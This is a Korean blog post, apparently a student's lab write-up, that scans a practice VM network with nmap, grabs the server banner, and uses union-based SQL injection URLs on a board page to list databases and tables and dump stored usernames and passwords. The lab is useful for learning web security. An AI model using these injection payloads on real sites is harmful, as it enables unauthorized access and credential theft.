2024. 1. 28. 19:58ㆍInformation Security 정보보안/Web Security 웹 보안
배울내용:
웹 해킹
웹 모의 해킹 해보기
웹해킹실습
sql injection
SQL 삽입공격
풋프린팅
foot printing
nmap
리눅스 포트 확인하기
kali로 웹해킹하기
DB 해킹
MariaDB 해킹
이번시간은 이전시간에 배웠던걸 다 활용해서
웹 해킹을 해볼것이다
https://drive.google.com/file/d/1UnyrLCAdgWR8kSkudzNusV9HSGw2LQnl/view?usp=sharing
이건 CentOS VM 이다
이걸 VM 으로 키고 Kali 로 또는 웹사이트를 이용하여
아래의 미션을 클리어 하라
=========================================================================================
=========================================================================================
[ MISSION ]
현재 주워진거는 아무것도없다
IP 주소도 모른다
직접 처음부터 IP 주소를 다 파악한뒤에
congratulationszer02 가 비밀번호 인 계정을 찾아라!
아래에는 힌트와 해석이 있다
그러나 한번 1 시간~ 2시간 정도는 밑에 가지 않고 한번 풀어보길 바란다
=========================================================================================
=========================================================================================
[ HINT ]
network 는 vmnet 8 에 192.168.10.0/24 를 쓰고
nmap 과 풋프링팅 그외에 DB 에
SQL 인젝션으로 확인 해야한다
=========================================================================================
=========================================================================================
아래에서 부터는 해석이 들어갑니다
도무지 못풀겠을때 아래를 봐주세요
시도해보지 않으면 실력도 지식도 안쌓입니다
조금의 도전을 해준뒤에 도무지 안될때 그떄 내려주세요
1 . nmap 으로 ip 찾기
# nmap -sn [ ip 주소 ]
Kali 로 가서 nmap 으로 먼저
ip 를 찾는다
nmap -sn 192.168.10.0/24
했을떄
vm 의 dns 인 192.168.10.1 ,
dns인 192.168.10.2 와 192.168.10.254
, Kali의 ip 인 192.168.10.10
을 제외한
뒷자리가 55, 60 , 199 만 찾을수있다
-sn: 이 옵션은 Nmap에게 포트 스캔을 수행하지 말고 호스트 발견만 수행하도록 지시합니다
2 . Nmap SYN Scanning
nmap -sS [ IP주소 ]
Nmap에서 TCP SYN 스캔을 수행하는 명령이다
이 스캔은 네트워크에서 호스트의 오픈된 포트를 찾고 식별하는 데 사용된다.
192.168.10.55 의 열린포트
192.168.10.60 의 열린포트
192.168.10.199 의 열린포트
하나같이 똑같은 포트가 열려져 있는걸 볼수가있다
그런데 여기서 하나 눈치를 채야한다
바로
3 개 IP 모두 같은 MAC 주소인것을 알수있다
즉 , 하나의 네트워크 인걸 알수있다
3. 열린포트로 연결해보기
우린 telnet 이 열려있었고 포트가 80 이 열려있던걸 봤다
그렇게 한번 telnet 을 열었을때 정상적으로 연결된걸 볼수있고
400 Bad Request 라는게 떳고
Server 가 Apache/2.4.6 (CentOS) PHP/5.4.16 인걸 알수있다
우리는 이전시간에 이것또한 취약점인걸 ( Banner Grabbing ) 배웠을것이다
만약 기억이 안난다면 아래의 링크로 가보길 바란다
https://sarimus.tistory.com/44
자이제 IP 를 찾았으니 한번 웹페이지에서 IP 주소를 입력해 들어가보자
이러면 이렇게 하나의 웹페이지가 나오는데
게시판에서 아무글이나 넣고 하나 게시판 작성해준다
그러면
이렇게 글작성된게 있는데 이걸 클릭하면
이렇게
글번호, 작성자, 글제목, 글내용, 등록일 이 나오는걸 볼수있다
SQL Injection
여기에서
url 에 b_no=3 에서
3을 0으로 바꾸고
'union select 1,1,1,1,1--+
이걸 추가한다
그러면
http://192.168.10.60/board_view.php?b_no=0 'union select 1,1,1,1,1--+
이렇게 되는데 바로 SQL 삽입 공격이다
말그대로 ' 를 넣어 앞에서 명령어를 끝내고 union으로 합쳐준다
물론 처음에는 select 1,1,1,1,1 인지 모른다 그래서
select 1 --+
select 1 ,1 --+
select 1 ,1 ,1 --+
select 1 ,1 ,1 ,1 --+
select 1 ,1 ,1 ,1 ,1 --+
글이 나올떄까지 ,1 을 추가해서 F5 해준다
만약
select 1 ,1 ,1 ,1 --+
이렇게 까지만하면
이렇게 빈칸만 나오는걸 보지만 만약 1,1,1,1,1 로 해주면
이렇게 1 이 다 들어가있는걸 볼수있다
여기서부터 DB 에 있는 기본 명령어들을 써볼수있다
이번엔 이렇게 넣어보자
http://192.168.10.60/board_view.php?b_no=0 'union select databases(),version() ,1,1,1--+
그러면
bacubacu 라는 database 와 5.5.68-MariaDB 라는 version이 보이게 된다
database():
- 이 함수는 현재 데이터베이스 서버에 있는 모든 데이터베이스의 목록을 반환
version():
- 이 함수는 데이터베이스 서버의 버전 정보를 반환
그뒤에 기본적으로 DB 를 만들떄 만들어지는
information_schema 를 이용해서 어떤 column 들이 있는지 알아내야한다
http://192.168.10.60/board_view.php?b_no=0
' union select table_schema,table_name,column_name,1,1
from information_schema.columns group by table_schema limit 0,1--+
(1번째)
limit를 써서 1개씩 올려주면서 F5 하면
1번쨰~ N번쨰 까지 모두다 확인가능하다
limit 1,2--+
(2번쨰)
limit 2,3--+
(3번째)
그렇게 똑같은 방법으로 1씩 늘리면서 찾으면
총 7 개의 DB 가 보이게 되는데
bacubacu
hackmap
sevas
webhack
mysql
information_schema
performance_schema
이중 맨아래 2 개 information_schema 와 performance_schema는 처음만들때 생성되는거니
무시하고
[ DB ]
bacubacu
hackmap
sevas
webhack
mysql
이렇게 5 개 만 남는다
우리는 이것들을 DB 라는 이름으로 메모장에 적어두고
이젠 이 DB 하나하나의 table 을 찾아야한다
다른건 다 똑같이 해놓고 조건문을 하나 추가해준다
where table_schema="bacubacu"
그러면 아래처럼 되있고
http://192.168.10.60/board_view.php?b_no=0' union select table_schema,table_name,column_name,1,1 from information_schema.columns where table_schema='bacubacu' group by table_name limit 0,1--+
limit를 1씩늘려주면 table 1번쨰, 2번째 를 찾는다
그러면
[TB]
<bacubacu>
b_tb , class
이렇게 2개의 table 이 있는걸 볼수있고 나머지 DB 도 똑같은 방법으로 하면
<hackmap> b_tb , class
<webhack> b_tb , class
<sevas> b_tb , class
디똑같은 Table 이 들어가있는걸 볼수있다
그러면 이제 Table 안에 있는 Column 를 찾을껀데
where table_schema='bacubacu' and table_name='class'
조건을 위와같이 추가해주고 다시 시도해본다
http://192.168.10.60/board_view.php?b_no=0' union select 1,1,column_name,1,1 from information_schema.columns where table_schema='bacubacu' and table_name='class' limit 3,4 --+
그럼 class Table 안에 pw 들어가있는걸 볼수있고
다른 것또한 limit 를 조정해 찾아보면
아래와 같이 다 찾을수있다
[DB] bacubacu
[TB] b_tb , class
[column]
c_no , id , pw ,nick , join_date
b_no , subject , user , contents , reg_date
여기에서는 어떤게 id 와 pw 인지 알수있으니 이제 새로운 쿼리문을 써준다
' union select id,pw,1,1,1 from bacubacu.class limit 0,1--+
http://192.168.10.60/board_view.php?b_no=0' union select id,pw,1,1,1 from class limit 0,1--+
그러면 id 가 gorani 이고
pw 가 gogosing 인걸 볼수있다 이제 이 id 와 pw 를 가지고 로그인 해보자
로그인이 안된다 아마 이 DB("bacubacu") 가 아닌것같다
그러면 이제
sevas, webhack, hackmap 중에서 다 살펴 봐야하는데
hackmap 먼저 보자
hackmap 또한 column이 bacubacu DB 와 같았다
그래서 아까 와 같이
' union select id,pw,1,1,1 from hackmap.class limit 0,1--+
이부분만 바꿔주면
http://192.168.10.60/board_view.php?b_no=0' union select id,pw,1,1,1 from hackmap.class limit 0,1--+
이번에는 Id 가 test 이고
pw 가 asd123 있는걸 볼수있다
이제 이 ID 와 PW 를 가지고 로그인해보면
성공적으로 로그인이 된걸볼수있다
즉, 제대로된 DB 를 찾은것이다
그럼아까 같은 방식으로 limit 만 조절하면
test/ asd123
hack/ ilikehack
sevas / sevasgood
websecure/ secure123
gozilra/gogosing
이렇게 여러가지의 ID 와 PW 가 나오다가 도무지 못찾을것같아서
조건을 하나더 준다
우리가 찾아야할것은 비밀번호가 congratulationszer02 인것만 찾으면 된다
그러면 아래와 같이 조건을 추가할수있다
'union select id,pw,1,1,1 from hackmap.class where pw="congratulationszer02" limit 0,1--+
http://192.168.10.60/board_view.php?b_no=0 'union select id,pw,1,1,1 from hackmap.class where pw="congratulationszer02" limit 0,1--+
이걸 다시 url 에 넣고 F5 를 누르면
pw 가 congratulationszer02 인 계정은
webadmin 인걸 알수있다
이제 이계정을 로그인 해보면
이렇게 웹관리자라는 계정으로 로그인이 성공된다
이렇게 실습이 완료가 되는것이다
필자는 2시간 투자했지만 쿼리문까지는 다활용하여
bacubacu 라는것과 id 와 pw 를 찾았지만 제대로된 DB 를 못고르는 함점에 빠져
못찾았다
그리고 필기를 안해두니깐 멘붕이 왔던것 같다
하나하나 해보면서 어떤 부분에 어떤게 들어가있는지 확실하게 기록해두는게 필요했다
다음에 또 실습이 있을건데 그때는 한번만에 통과해보겠다
그럼 20000